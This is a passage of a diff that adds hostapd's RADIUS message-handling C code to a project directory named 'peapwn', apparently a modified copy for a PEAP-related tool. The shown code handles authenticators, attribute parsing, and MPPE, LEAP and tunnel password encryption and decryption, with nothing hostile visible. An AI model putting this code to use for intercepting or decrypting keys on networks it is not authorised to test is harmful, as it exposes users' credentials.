os_memcpy(msg->hdr->authenticator, req_authenticator, + sizeof(msg->hdr->authenticator)); + hmac_md5(secret, secret_len, wpabuf_head(msg->buf), + wpabuf_len(msg->buf), (u8 *) (attr + 1)); + + /* ResponseAuth = MD5(Code+ID+Length+RequestAuth+Attributes+Secret) */ + addr[0] = (u8 *) msg->hdr; + len[0] = 1 + 1 + 2; + addr[1] = req_authenticator; + len[1] = MD5_MAC_LEN; + addr[2] = wpabuf_head_u8(msg->buf) + sizeof(struct radius_hdr); + len[2] = wpabuf_len(msg->buf) - sizeof(struct radius_hdr); + addr[3] = secret; + len[3] = secret_len; + md5_vector(4, addr, len, msg->hdr->authenticator); + + if (wpabuf_len(msg->buf) > 0xffff) { + wpa_printf(MSG_WARNING, "RADIUS: Too long message (%lu)", + (unsigned long) wpabuf_len(msg->buf)); + return -1; + } + return 0; +} + + +int radius_msg_finish_das_resp(struct radius_msg *msg, const u8 *secret, + size_t secret_len, + const struct radius_hdr *req_hdr) +{ + const u8 *addr[2]; + size_t len[2]; + u8 auth[MD5_MAC_LEN]; + struct radius_attr_hdr *attr; + + os_memset(auth, 0, MD5_MAC_LEN); + attr = radius_msg_add_attr(msg, RADIUS_ATTR_MESSAGE_AUTHENTICATOR, + auth, MD5_MAC_LEN); + if (attr == NULL) { + wpa_printf(MSG_WARNING, "Could not add Message-Authenticator"); + return -1; + } + + msg->hdr->length = host_to_be16(wpabuf_len(msg->buf)); + os_memcpy(msg->hdr->authenticator, req_hdr->authenticator, 16); + hmac_md5(secret, secret_len, wpabuf_head(msg->buf), + wpabuf_len(msg->buf), (u8 *) (attr + 1)); + + /* ResponseAuth = MD5(Code+ID+Length+RequestAuth+Attributes+Secret) */ + addr[0] = wpabuf_head_u8(msg->buf); + len[0] = wpabuf_len(msg->buf); + addr[1] = secret; + len[1] = secret_len; + if (md5_vector(2, addr, len, msg->hdr->authenticator) < 0) + return -1; + + if (wpabuf_len(msg->buf) > 0xffff) { + wpa_printf(MSG_WARNING, "RADIUS: Too long message (%lu)", + (unsigned long) wpabuf_len(msg->buf)); + return -1; + } + return 0; +} + + +void radius_msg_finish_acct(struct radius_msg *msg, const u8 *secret, + size_t secret_len) +{ + const u8 *addr[2]; + size_t len[2]; + + msg->hdr->length = host_to_be16(wpabuf_len(msg->buf)); + os_memset(msg->hdr->authenticator, 0, MD5_MAC_LEN); + addr[0] = wpabuf_head(msg->buf); + len[0] = wpabuf_len(msg->buf); + addr[1] = secret; + len[1] = secret_len; + md5_vector(2, addr, len, msg->hdr->authenticator); + + if (wpabuf_len(msg->buf) > 0xffff) { + wpa_printf(MSG_WARNING, "RADIUS: Too long messages (%lu)", + (unsigned long) wpabuf_len(msg->buf)); + } +} + + +int radius_msg_verify_acct_req(struct radius_msg *msg, const u8 *secret, + size_t secret_len) +{ + const u8 *addr[4]; + size_t len[4]; + u8 zero[MD5_MAC_LEN]; + u8 hash[MD5_MAC_LEN]; + + os_memset(zero, 0, sizeof(zero)); + addr[0] = (u8 *) msg->hdr; + len[0] = sizeof(struct radius_hdr) - MD5_MAC_LEN; + addr[1] = zero; + len[1] = MD5_MAC_LEN; + addr[2] = (u8 *) (msg->hdr + 1); + len[2] = wpabuf_len(msg->buf) - sizeof(struct radius_hdr); + addr[3] = secret; + len[3] = secret_len; + md5_vector(4, addr, len, hash); + return os_memcmp(msg->hdr->authenticator, hash, MD5_MAC_LEN) != 0; +} + + +int radius_msg_verify_das_req(struct radius_msg *msg, const u8 *secret, + size_t secret_len) +{ + const u8 *addr[4]; + size_t len[4]; + u8 zero[MD5_MAC_LEN]; + u8 hash[MD5_MAC_LEN]; + u8 auth[MD5_MAC_LEN], orig[MD5_MAC_LEN]; + u8 orig_authenticator[16]; + + struct radius_attr_hdr *attr = NULL, *tmp; + size_t i; + + os_memset(zero, 0, sizeof(zero)); + addr[0] = (u8 *) msg->hdr; + len[0] = sizeof(struct radius_hdr) - MD5_MAC_LEN; + addr[1] = zero; + len[1] = MD5_MAC_LEN; + addr[2] = (u8 *) (msg->hdr + 1); + len[2] = wpabuf_len(msg->buf) - sizeof(struct radius_hdr); + addr[3] = secret; + len[3] = secret_len; + md5_vector(4, addr, len, hash); + if (os_memcmp(msg->hdr->authenticator, hash, MD5_MAC_LEN) != 0) + return 1; + + for (i = 0; i < msg->attr_used; i++) { + tmp = radius_get_attr_hdr(msg, i); + if (tmp->type == RADIUS_ATTR_MESSAGE_AUTHENTICATOR) { + if (attr != NULL) { + wpa_printf(MSG_WARNING, "Multiple " + "Message-Authenticator attributes " + "in RADIUS message"); + return 1; + } + attr = tmp; + } + } + + if (attr == NULL) { + /* Message-Authenticator is MAY; not required */ + return 0; + } + + os_memcpy(orig, attr + 1, MD5_MAC_LEN); + os_memset(attr + 1, 0, MD5_MAC_LEN); + os_memcpy(orig_authenticator, msg->hdr->authenticator, + sizeof(orig_authenticator)); + os_memset(msg->hdr->authenticator, 0, + sizeof(msg->hdr->authenticator)); + hmac_md5(secret, secret_len, wpabuf_head(msg->buf), + wpabuf_len(msg->buf), auth); + os_memcpy(attr + 1, orig, MD5_MAC_LEN); + os_memcpy(msg->hdr->authenticator, orig_authenticator, + sizeof(orig_authenticator)); + + return os_memcmp(orig, auth, MD5_MAC_LEN) != 0; +} + + +static int radius_msg_add_attr_to_array(struct radius_msg *msg, + struct radius_attr_hdr *attr) +{ + if (msg->attr_used >= msg->attr_size) { + size_t *nattr_pos; + int nlen = msg->attr_size * 2; + + nattr_pos = os_realloc_array(msg->attr_pos, nlen, + sizeof(*msg->attr_pos)); + if (nattr_pos == NULL) + return -1; + + msg->attr_pos = nattr_pos; + msg->attr_size = nlen; + } + + msg->attr_pos[msg->attr_used++] = + (unsigned char *) attr - wpabuf_head_u8(msg->buf); + + return 0; +} + + +struct radius_attr_hdr *radius_msg_add_attr(struct radius_msg *msg, u8 type, + const u8 *data, size_t data_len) +{ + size_t buf_needed; + struct radius_attr_hdr *attr; + + if (data_len > RADIUS_MAX_ATTR_LEN) { + printf("radius_msg_add_attr: too long attribute (%lu bytes)\n", + (unsigned long) data_len); + return NULL; + } + + buf_needed = sizeof(*attr) + data_len; + + if (wpabuf_tailroom(msg->buf) < buf_needed) { + /* allocate more space for message buffer */ + if (wpabuf_resize(&msg->buf, buf_needed) < 0) + return NULL; + msg->hdr = wpabuf_mhead(msg->buf); + } + + attr = wpabuf_put(msg->buf, sizeof(struct radius_attr_hdr)); + attr->type = type; + attr->length = sizeof(*attr) + data_len; + wpabuf_put_data(msg->buf, data, data_len); + + if (radius_msg_add_attr_to_array(msg, attr)) + return NULL; + + return attr; +} + + +/** + * radius_msg_parse - Parse a RADIUS message + * @data: RADIUS message to be parsed + * @len: Length of data buffer in octets + * Returns: Parsed RADIUS message or %NULL on failure + * + * This parses a RADIUS message and makes a copy of its data. The caller is + * responsible for freeing the returned data with radius_msg_free(). + */ +struct radius_msg * radius_msg_parse(const u8 *data, size_t len) +{ + struct radius_msg *msg; + struct radius_hdr *hdr; + struct radius_attr_hdr *attr; + size_t msg_len; + unsigned char *pos, *end; + + if (data == NULL || len < sizeof(*hdr)) + return NULL; + + hdr = (struct radius_hdr *) data; + + msg_len = be_to_host16(hdr->length); + if (msg_len < sizeof(*hdr) || msg_len > len) { + wpa_printf(MSG_INFO, "RADIUS: Invalid message length"); + return NULL; + } + + if (msg_len < len) { + wpa_printf(MSG_DEBUG, "RADIUS: Ignored %lu extra bytes after " + "RADIUS message", (unsigned long) len - msg_len); + } + + msg = os_zalloc(sizeof(*msg)); + if (msg == NULL) + return NULL; + + msg->buf = wpabuf_alloc_copy(data, msg_len); + if (msg->buf == NULL || radius_msg_initialize(msg)) { + radius_msg_free(msg); + return NULL; + } + msg->hdr = wpabuf_mhead(msg->buf); + + /* parse attributes */ + pos = wpabuf_mhead_u8(msg->buf) + sizeof(struct radius_hdr); + end = wpabuf_mhead_u8(msg->buf) + wpabuf_len(msg->buf); + while (pos < end) { + if ((size_t) (end - pos) < sizeof(*attr)) + goto fail; + + attr = (struct radius_attr_hdr *) pos; + + if (pos + attr->length > end || attr->length < sizeof(*attr)) + goto fail; + + /* TODO: check that attr->length is suitable for attr->type */ + + if (radius_msg_add_attr_to_array(msg, attr)) + goto fail; + + pos += attr->length; + } + + return msg; + + fail: + radius_msg_free(msg); + return NULL; +} + + +int radius_msg_add_eap(struct radius_msg *msg, const u8 *data, size_t data_len) +{ + const u8 *pos = data; + size_t left = data_len; + + while (left > 0) { + int len; + if (left > RADIUS_MAX_ATTR_LEN) + len = RADIUS_MAX_ATTR_LEN; + else + len = left; + + if (!radius_msg_add_attr(msg, RADIUS_ATTR_EAP_MESSAGE, + pos, len)) + return 0; + + pos += len; + left -= len; + } + + return 1; +} + + +struct wpabuf * radius_msg_get_eap(struct radius_msg *msg) +{ + struct wpabuf *eap; + size_t len, i; + struct radius_attr_hdr *attr; + + if (msg == NULL) + return NULL; + + len = 0; + for (i = 0; i < msg->attr_used; i++) { + attr = radius_get_attr_hdr(msg, i); + if (attr->type == RADIUS_ATTR_EAP_MESSAGE && + attr->length > sizeof(struct radius_attr_hdr)) + len += attr->length - sizeof(struct radius_attr_hdr); + } + + if (len == 0) + return NULL; + + eap = wpabuf_alloc(len); + if (eap == NULL) + return NULL; + + for (i = 0; i < msg->attr_used; i++) { + attr = radius_get_attr_hdr(msg, i); + if (attr->type == RADIUS_ATTR_EAP_MESSAGE && + attr->length > sizeof(struct radius_attr_hdr)) { + int flen = attr->length - sizeof(*attr); + wpabuf_put_data(eap, attr + 1, flen); + } + } + + return eap; +} + + +int radius_msg_verify_msg_auth(struct radius_msg *msg, const u8 *secret, + size_t secret_len, const u8 *req_auth) +{ + u8 auth[MD5_MAC_LEN], orig[MD5_MAC_LEN]; + u8 orig_authenticator[16]; + struct radius_attr_hdr *attr = NULL, *tmp; + size_t i; + + for (i = 0; i < msg->attr_used; i++) { + tmp = radius_get_attr_hdr(msg, i); + if (tmp->type == RADIUS_ATTR_MESSAGE_AUTHENTICATOR) { + if (attr != NULL) { + printf("Multiple Message-Authenticator " + "attributes in RADIUS message\n"); + return 1; + } + attr = tmp; + } + } + + if (attr == NULL) { + printf("No Message-Authenticator attribute found\n"); + return 1; + } + + os_memcpy(orig, attr + 1, MD5_MAC_LEN); + os_memset(attr + 1, 0, MD5_MAC_LEN); + if (req_auth) { + os_memcpy(orig_authenticator, msg->hdr->authenticator, + sizeof(orig_authenticator)); + os_memcpy(msg->hdr->authenticator, req_auth, + sizeof(msg->hdr->authenticator)); + } + hmac_md5(secret, secret_len, wpabuf_head(msg->buf), + wpabuf_len(msg->buf), auth); + os_memcpy(attr + 1, orig, MD5_MAC_LEN); + if (req_auth) { + os_memcpy(msg->hdr->authenticator, orig_authenticator, + sizeof(orig_authenticator)); + } + + if (os_memcmp(orig, auth, MD5_MAC_LEN) != 0) { + printf("Invalid Message-Authenticator!\n"); + return 1; + } + + return 0; +} + + +int radius_msg_verify(struct radius_msg *msg, const u8 *secret, + size_t secret_len, struct radius_msg *sent_msg, int auth) +{ + const u8 *addr[4]; + size_t len[4]; + u8 hash[MD5_MAC_LEN]; + + if (sent_msg == NULL) { + printf("No matching Access-Request message found\n"); + return 1; + } + + if (auth && + radius_msg_verify_msg_auth(msg, secret, secret_len, + sent_msg->hdr->authenticator)) { + return 1; + } + + /* ResponseAuth = MD5(Code+ID+Length+RequestAuth+Attributes+Secret) */ + addr[0] = (u8 *) msg->hdr; + len[0] = 1 + 1 + 2; + addr[1] = sent_msg->hdr->authenticator; + len[1] = MD5_MAC_LEN; + addr[2] = wpabuf_head_u8(msg->buf) + sizeof(struct radius_hdr); + len[2] = wpabuf_len(msg->buf) - sizeof(struct radius_hdr); + addr[3] = secret; + len[3] = secret_len; + md5_vector(4, addr, len, hash); + if (os_memcmp(hash, msg->hdr->authenticator, MD5_MAC_LEN) != 0) { + printf("Response Authenticator invalid!\n"); + return 1; + } + + return 0; +} + + +int radius_msg_copy_attr(struct radius_msg *dst, struct radius_msg *src, + u8 type) +{ + struct radius_attr_hdr *attr; + size_t i; + int count = 0; + + for (i = 0; i < src->attr_used; i++) { + attr = radius_get_attr_hdr(src, i); + if (attr->type == type && attr->length >= sizeof(*attr)) { + if (!radius_msg_add_attr(dst, type, (u8 *) (attr + 1), + attr->length - sizeof(*attr))) + return -1; + count++; + } + } + + return count; +} + + +/* Create Request Authenticator. The value should be unique over the lifetime + * of the shared secret between authenticator and authentication server. + * Use one-way MD5 hash calculated from current timestamp and some data given + * by the caller. */ +void radius_msg_make_authenticator(struct radius_msg *msg, + const u8 *data, size_t len) +{ + struct os_time tv; + long int l; + const u8 *addr[3]; + size_t elen[3]; + + os_get_time(&tv); + l = os_random(); + addr[0] = (u8 *) &tv; + elen[0] = sizeof(tv); + addr[1] = data; + elen[1] = len; + addr[2] = (u8 *) &l; + elen[2] = sizeof(l); + md5_vector(3, addr, elen, msg->hdr->authenticator); +} + + +/* Get Vendor-specific RADIUS Attribute from a parsed RADIUS message. + * Returns the Attribute payload and sets alen to indicate the length of the + * payload if a vendor attribute with subtype is found, otherwise returns NULL. + * The returned payload is allocated with os_malloc() and caller must free it + * by calling os_free(). + */ +static u8 *radius_msg_get_vendor_attr(struct radius_msg *msg, u32 vendor, + u8 subtype, size_t *alen) +{ + u8 *data, *pos; + size_t i, len; + + if (msg == NULL) + return NULL; + + for (i = 0; i < msg->attr_used; i++) { + struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i); + size_t left; + u32 vendor_id; + struct radius_attr_vendor *vhdr; + + if (attr->type != RADIUS_ATTR_VENDOR_SPECIFIC || + attr->length < sizeof(*attr)) + continue; + + left = attr->length - sizeof(*attr); + if (left < 4) + continue; + + pos = (u8 *) (attr + 1); + + os_memcpy(&vendor_id, pos, 4); + pos += 4; + left -= 4; + + if (ntohl(vendor_id) != vendor) + continue; + + while (left >= sizeof(*vhdr)) { + vhdr = (struct radius_attr_vendor *) pos; + if (vhdr->vendor_length > left || + vhdr->vendor_length < sizeof(*vhdr)) { + left = 0; + break; + } + if (vhdr->vendor_type != subtype) { + pos += vhdr->vendor_length; + left -= vhdr->vendor_length; + continue; + } + + len = vhdr->vendor_length - sizeof(*vhdr); + data = os_malloc(len); + if (data == NULL) + return NULL; + os_memcpy(data, pos + sizeof(*vhdr), len); + if (alen) + *alen = len; + return data; + } + } + + return NULL; +} + + +static u8 * decrypt_ms_key(const u8 *key, size_t len, + const u8 *req_authenticator, + const u8 *secret, size_t secret_len, size_t *reslen) +{ + u8 *plain, *ppos, *res; + const u8 *pos; + size_t left, plen; + u8 hash[MD5_MAC_LEN]; + int i, first = 1; + const u8 *addr[3]; + size_t elen[3]; + + /* key: 16-bit salt followed by encrypted key info */ + + if (len < 2 + 16) + return NULL; + + pos = key + 2; + left = len - 2; + if (left % 16) { + printf("Invalid ms key len %lu\n", (unsigned long) left); + return NULL; + } + + plen = left; + ppos = plain = os_malloc(plen); + if (plain == NULL) + return NULL; + plain[0] = 0; + + while (left > 0) { + /* b(1) = MD5(Secret + Request-Authenticator + Salt) + * b(i) = MD5(Secret + c(i - 1)) for i > 1 */ + + addr[0] = secret; + elen[0] = secret_len; + if (first) { + addr[1] = req_authenticator; + elen[1] = MD5_MAC_LEN; + addr[2] = key; + elen[2] = 2; /* Salt */ + } else { + addr[1] = pos - MD5_MAC_LEN; + elen[1] = MD5_MAC_LEN; + } + md5_vector(first ? 3 : 2, addr, elen, hash); + first = 0; + + for (i = 0; i < MD5_MAC_LEN; i++) + *ppos++ = *pos++ ^ hash[i]; + left -= MD5_MAC_LEN; + } + + if (plain[0] == 0 || plain[0] > plen - 1) { + printf("Failed to decrypt MPPE key\n"); + os_free(plain); + return NULL; + } + + res = os_malloc(plain[0]); + if (res == NULL) { + os_free(plain); + return NULL; + } + os_memcpy(res, plain + 1, plain[0]); + if (reslen) + *reslen = plain[0]; + os_free(plain); + return res; +} + + +static void encrypt_ms_key(const u8 *key, size_t key_len, u16 salt, + const u8 *req_authenticator, + const u8 *secret, size_t secret_len, + u8 *ebuf, size_t *elen) +{ + int i, len, first = 1; + u8 hash[MD5_MAC_LEN], saltbuf[2], *pos; + const u8 *addr[3]; + size_t _len[3]; + + WPA_PUT_BE16(saltbuf, salt); + + len = 1 + key_len; + if (len & 0x0f) { + len = (len & 0xf0) + 16; + } + os_memset(ebuf, 0, len); + ebuf[0] = key_len; + os_memcpy(ebuf + 1, key, key_len); + + *elen = len; + + pos = ebuf; + while (len > 0) { + /* b(1) = MD5(Secret + Request-Authenticator + Salt) + * b(i) = MD5(Secret + c(i - 1)) for i > 1 */ + addr[0] = secret; + _len[0] = secret_len; + if (first) { + addr[1] = req_authenticator; + _len[1] = MD5_MAC_LEN; + addr[2] = saltbuf; + _len[2] = sizeof(saltbuf); + } else { + addr[1] = pos - MD5_MAC_LEN; + _len[1] = MD5_MAC_LEN; + } + md5_vector(first ? 3 : 2, addr, _len, hash); + first = 0; + + for (i = 0; i < MD5_MAC_LEN; i++) + *pos++ ^= hash[i]; + + len -= MD5_MAC_LEN; + } +} + + +struct radius_ms_mppe_keys * +radius_msg_get_ms_keys(struct radius_msg *msg, struct radius_msg *sent_msg, + const u8 *secret, size_t secret_len) +{ + u8 *key; + size_t keylen; + struct radius_ms_mppe_keys *keys; + + if (msg == NULL || sent_msg == NULL) + return NULL; + + keys = os_zalloc(sizeof(*keys)); + if (keys == NULL) + return NULL; + + key = radius_msg_get_vendor_attr(msg, RADIUS_VENDOR_ID_MICROSOFT, + RADIUS_VENDOR_ATTR_MS_MPPE_SEND_KEY, + &keylen); + if (key) { + keys->send = decrypt_ms_key(key, keylen, + sent_msg->hdr->authenticator, + secret, secret_len, + &keys->send_len); + os_free(key); + } + + key = radius_msg_get_vendor_attr(msg, RADIUS_VENDOR_ID_MICROSOFT, + RADIUS_VENDOR_ATTR_MS_MPPE_RECV_KEY, + &keylen); + if (key) { + keys->recv = decrypt_ms_key(key, keylen, + sent_msg->hdr->authenticator, + secret, secret_len, + &keys->recv_len); + os_free(key); + } + + return keys; +} + + +struct radius_ms_mppe_keys * +radius_msg_get_cisco_keys(struct radius_msg *msg, struct radius_msg *sent_msg, + const u8 *secret, size_t secret_len) +{ + u8 *key; + size_t keylen; + struct radius_ms_mppe_keys *keys; + + if (msg == NULL || sent_msg == NULL) + return NULL; + + keys = os_zalloc(sizeof(*keys)); + if (keys == NULL) + return NULL; + + key = radius_msg_get_vendor_attr(msg, RADIUS_VENDOR_ID_CISCO, + RADIUS_CISCO_AV_PAIR, &keylen); + if (key && keylen == 51 && + os_memcmp(key, "leap:session-key=", 17) == 0) { + keys->recv = decrypt_ms_key(key + 17, keylen - 17, + sent_msg->hdr->authenticator, + secret, secret_len, + &keys->recv_len); + } + os_free(key); + + return keys; +} + + +int radius_msg_add_mppe_keys(struct radius_msg *msg, + const u8 *req_authenticator, + const u8 *secret, size_t secret_len, + const u8 *send_key, size_t send_key_len, + const u8 *recv_key, size_t recv_key_len) +{ + struct radius_attr_hdr *attr; + u32 vendor_id = htonl(RADIUS_VENDOR_ID_MICROSOFT); + u8 *buf; + struct radius_attr_vendor *vhdr; + u8 *pos; + size_t elen; + int hlen; + u16 salt; + + hlen = sizeof(vendor_id) + sizeof(*vhdr) + 2; + + /* MS-MPPE-Send-Key */ + buf = os_malloc(hlen + send_key_len + 16); + if (buf == NULL) { + return 0; + } + pos = buf; + os_memcpy(pos, &vendor_id, sizeof(vendor_id)); + pos += sizeof(vendor_id); + vhdr = (struct radius_attr_vendor *) pos; + vhdr->vendor_type = RADIUS_VENDOR_ATTR_MS_MPPE_SEND_KEY; + pos = (u8 *) (vhdr + 1); + salt = os_random() | 0x8000; + WPA_PUT_BE16(pos, salt); + pos += 2; + encrypt_ms_key(send_key, send_key_len, salt, req_authenticator, secret, + secret_len, pos, &elen); + vhdr->vendor_length = hlen + elen - sizeof(vendor_id); + + attr = radius_msg_add_attr(msg, RADIUS_ATTR_VENDOR_SPECIFIC, + buf, hlen + elen); + os_free(buf); + if (attr == NULL) { + return 0; + } + + /* MS-MPPE-Recv-Key */ + buf = os_malloc(hlen + send_key_len + 16); + if (buf == NULL) { + return 0; + } + pos = buf; + os_memcpy(pos, &vendor_id, sizeof(vendor_id)); + pos += sizeof(vendor_id); + vhdr = (struct radius_attr_vendor *) pos; + vhdr->vendor_type = RADIUS_VENDOR_ATTR_MS_MPPE_RECV_KEY; + pos = (u8 *) (vhdr + 1); + salt ^= 1; + WPA_PUT_BE16(pos, salt); + pos += 2; + encrypt_ms_key(recv_key, recv_key_len, salt, req_authenticator, secret, + secret_len, pos, &elen); + vhdr->vendor_length = hlen + elen - sizeof(vendor_id); + + attr = radius_msg_add_attr(msg, RADIUS_ATTR_VENDOR_SPECIFIC, + buf, hlen + elen); + os_free(buf); + if (attr == NULL) { + return 0; + } + + return 1; +} + + +/* Add User-Password attribute to a RADIUS message and encrypt it as specified + * in RFC 2865, Chap. 5.2 */ +struct radius_attr_hdr * +radius_msg_add_attr_user_password(struct radius_msg *msg, + const u8 *data, size_t data_len, + const u8 *secret, size_t secret_len) +{ + u8 buf[128]; + size_t padlen, i, buf_len, pos; + const u8 *addr[2]; + size_t len[2]; + u8 hash[16]; + + if (data_len > 128) + return NULL; + + os_memcpy(buf, data, data_len); + buf_len = data_len; + + padlen = data_len % 16; + if (padlen && data_len < sizeof(buf)) { + padlen = 16 - padlen; + os_memset(buf + data_len, 0, padlen); + buf_len += padlen; + } + + addr[0] = secret; + len[0] = secret_len; + addr[1] = msg->hdr->authenticator; + len[1] = 16; + md5_vector(2, addr, len, hash); + + for (i = 0; i < 16; i++) + buf[i] ^= hash[i]; + pos = 16; + + while (pos < buf_len) { + addr[0] = secret; + len[0] = secret_len; + addr[1] = &buf[pos - 16]; + len[1] = 16; + md5_vector(2, addr, len, hash); + + for (i = 0; i < 16; i++) + buf[pos + i] ^= hash[i]; + + pos += 16; + } + + return radius_msg_add_attr(msg, RADIUS_ATTR_USER_PASSWORD, + buf, buf_len); +} + + +int radius_msg_get_attr(struct radius_msg *msg, u8 type, u8 *buf, size_t len) +{ + struct radius_attr_hdr *attr = NULL, *tmp; + size_t i, dlen; + + for (i = 0; i < msg->attr_used; i++) { + tmp = radius_get_attr_hdr(msg, i); + if (tmp->type == type) { + attr = tmp; + break; + } + } + + if (!attr || attr->length < sizeof(*attr)) + return -1; + + dlen = attr->length - sizeof(*attr); + if (buf) + os_memcpy(buf, (attr + 1), dlen > len ? len : dlen); + return dlen; +} + + +int radius_msg_get_attr_ptr(struct radius_msg *msg, u8 type, u8 **buf, + size_t *len, const u8 *start) +{ + size_t i; + struct radius_attr_hdr *attr = NULL, *tmp; + + for (i = 0; i < msg->attr_used; i++) { + tmp = radius_get_attr_hdr(msg, i); + if (tmp->type == type && + (start == NULL || (u8 *) tmp > start)) { + attr = tmp; + break; + } + } + + if (!attr || attr->length < sizeof(*attr)) + return -1; + + *buf = (u8 *) (attr + 1); + *len = attr->length - sizeof(*attr); + return 0; +} + + +int radius_msg_count_attr(struct radius_msg *msg, u8 type, int min_len) +{ + size_t i; + int count; + + for (count = 0, i = 0; i < msg->attr_used; i++) { + struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i); + if (attr->type == type && + attr->length >= sizeof(struct radius_attr_hdr) + min_len) + count++; + } + + return count; +} + + +struct radius_tunnel_attrs { + int tag_used; + int type; /* Tunnel-Type */ + int medium_type; /* Tunnel-Medium-Type */ + int vlanid; +}; + + +/** + * radius_msg_get_vlanid - Parse RADIUS attributes for VLAN tunnel information + * @msg: RADIUS message + * Returns: VLAN ID for the first tunnel configuration of -1 if none is found + */ +int radius_msg_get_vlanid(struct radius_msg *msg) +{ + struct radius_tunnel_attrs tunnel[RADIUS_TUNNEL_TAGS], *tun; + size_t i; + struct radius_attr_hdr *attr = NULL; + const u8 *data; + char buf[10]; + size_t dlen; + + os_memset(&tunnel, 0, sizeof(tunnel)); + + for (i = 0; i < msg->attr_used; i++) { + attr = radius_get_attr_hdr(msg, i); + if (attr->length < sizeof(*attr)) + return -1; + data = (const u8 *) (attr + 1); + dlen = attr->length - sizeof(*attr); + if (attr->length < 3) + continue; + if (data[0] >= RADIUS_TUNNEL_TAGS) + tun = &tunnel[0]; + else + tun = &tunnel[data[0]]; + + switch (attr->type) { + case RADIUS_ATTR_TUNNEL_TYPE: + if (attr->length != 6) + break; + tun->tag_used++; + tun->type = WPA_GET_BE24(data + 1); + break; + case RADIUS_ATTR_TUNNEL_MEDIUM_TYPE: + if (attr->length != 6) + break; + tun->tag_used++; + tun->medium_type = WPA_GET_BE24(data + 1); + break; + case RADIUS_ATTR_TUNNEL_PRIVATE_GROUP_ID: + if (data[0] < RADIUS_TUNNEL_TAGS) { + data++; + dlen--; + } + if (dlen >= sizeof(buf)) + break; + os_memcpy(buf, data, dlen); + buf[dlen] = '\0'; + tun->tag_used++; + tun->vlanid = atoi(buf); + break; + } + } + + for (i = 0; i < RADIUS_TUNNEL_TAGS; i++) { + tun = &tunnel[i]; + if (tun->tag_used && + tun->type == RADIUS_TUNNEL_TYPE_VLAN && + tun->medium_type == RADIUS_TUNNEL_MEDIUM_TYPE_802 && + tun->vlanid > 0) + return tun->vlanid; + } + + return -1; +} + + +/** + * radius_msg_get_tunnel_password - Parse RADIUS attribute Tunnel-Password + * @msg: Received RADIUS message + * @keylen: Length of returned password + * @secret: RADIUS shared secret + * @secret_len: Length of secret + * @sent_msg: Sent RADIUS message + * @n: Number of password attribute to return (starting with 0) + * Returns: Pointer to n-th password (free with os_free) or %NULL + */ +char * radius_msg_get_tunnel_password(struct radius_msg *msg, int *keylen, + const u8 *secret, size_t secret_len, + struct radius_msg *sent_msg, size_t n) +{ + u8 *buf = NULL; + size_t buflen; + const u8 *salt; + u8 *str; + const u8 *addr[3]; + size_t len[3]; + u8 hash[16]; + u8 *pos; + size_t i, j = 0; + struct radius_attr_hdr *attr; + const u8 *data; + size_t dlen; + const u8 *fdata = NULL; /* points to found item */ + size_t fdlen = -1; + char *ret = NULL; + + /* find n-th valid Tunnel-Password attribute */ + for (i = 0; i < msg->attr_used; i++) { + attr = radius_get_attr_hdr(msg, i); + if (attr == NULL || + attr->type != RADIUS_ATTR_TUNNEL_PASSWORD) { + continue; + } + if (attr->length <= 5) + continue; + data = (const u8 *) (attr + 1); + dlen = attr->length - sizeof(*attr); + if (dlen <= 3 || dlen % 16 != 3) + continue; + j++; + if (j <= n) + continue; + + fdata = data; + fdlen = dlen; + break; + } + if (fdata == NULL) + goto out; + + /* alloc writable memory for decryption */ + buf = os_malloc(fdlen); + if (buf == NULL) + goto out; + os_memcpy(buf, fdata, fdlen); + buflen = fdlen; + + /* init pointers */ + salt = buf + 1; + str = buf + 3; + + /* decrypt blocks */ + pos = buf + buflen - 16; /* last block */ + while (pos >= str + 16) { /* all but the first block */ + addr[0] = secret; + len[0] = secret_len; + addr[1] = pos - 16; + len[1] = 16; + md5_vector(2, addr, len, hash); + + for (i = 0; i < 16; i++) + pos[i] ^= hash[i]; + + pos -= 16; + } + + /* decrypt first block */ + if (str != pos) + goto out; + addr[0] = secret; + len[0] = secret_len; + addr[1] = sent_msg->hdr->authenticator; + len[1] = 16; + addr[2] = salt; + len[2] = 2; + md5_vector(3, addr, len, hash); + + for (i = 0; i < 16; i++) + pos[i] ^= hash[i]; + + /* derive plaintext length from first subfield */ + *keylen = (unsigned char) str[0]; + if ((u8 *) (str + *keylen) >= (u8 *) (buf + buflen)) { + /* decryption error - invalid key length */ + goto out; + } + if (*keylen == 0) { + /* empty password */ + goto out; + } + + /* copy passphrase into new buffer */ + ret = os_malloc(*keylen); + if (ret) + os_memcpy(ret, str + 1, *keylen); + +out: + /* return new buffer */ + os_free(buf); + return ret; +} + + +void radius_free_class(struct radius_class_data *c) +{ + size_t i; + if (c == NULL) + return; + for (i = 0; i < c->count; i++) + os_free(c->attr[i].data); + os_free(c->attr); + c->attr = NULL; + c->count = 0; +} + + +int radius_copy_class(struct radius_class_data *dst, + const struct radius_class_data *src) +{ + size_t i; + + if (src->attr == NULL) + return 0; + + dst->attr = os_calloc(src->count, sizeof(struct radius_attr_data)); + if (dst->attr == NULL) + return -1; + + dst->count = 0; + + for (i = 0; i < src->count; i++) { + dst->attr[i].data = os_malloc(src->attr[i].len); + if (dst->attr[i].data == NULL) + break; + dst->count++; + os_memcpy(dst->attr[i].data, src->attr[i].data, + src->attr[i].len); + dst->attr[i].len = src->attr[i].len; + } + + return 0; +} + + +u8 radius_msg_find_unlisted_attr(struct radius_msg *msg, u8 *attrs) +{ + size_t i, j; + struct radius_attr_hdr *attr; + + for (i = 0; i < msg->attr_used; i++) { + attr = radius_get_attr_hdr(msg, i); + + for (j = 0; attrs[j]; j++) { + if (attr->type == attrs[j]) + break; + } + + if (attrs[j] == 0) + return attr->type; /* unlisted attr */ + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/radius/radius.h b/peapwn/mods/hostap/src/radius/radius.h new file mode 100644 index 000000000..2031054b1 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius.h @@ -0,0 +1,287 @@ +/* + * RADIUS message processing + * Copyright (c) 2002-2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RADIUS_H +#define RADIUS_H + +/* RFC 2865 - RADIUS */ + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct radius_hdr { + u8 code; + u8 identifier; + be16 length; /* including this header */ + u8 authenticator[16]; + /* followed by length-20 octets of attributes */ +} STRUCT_PACKED; + +enum { RADIUS_CODE_ACCESS_REQUEST = 1, + RADIUS_CODE_ACCESS_ACCEPT = 2, + RADIUS_CODE_ACCESS_REJECT 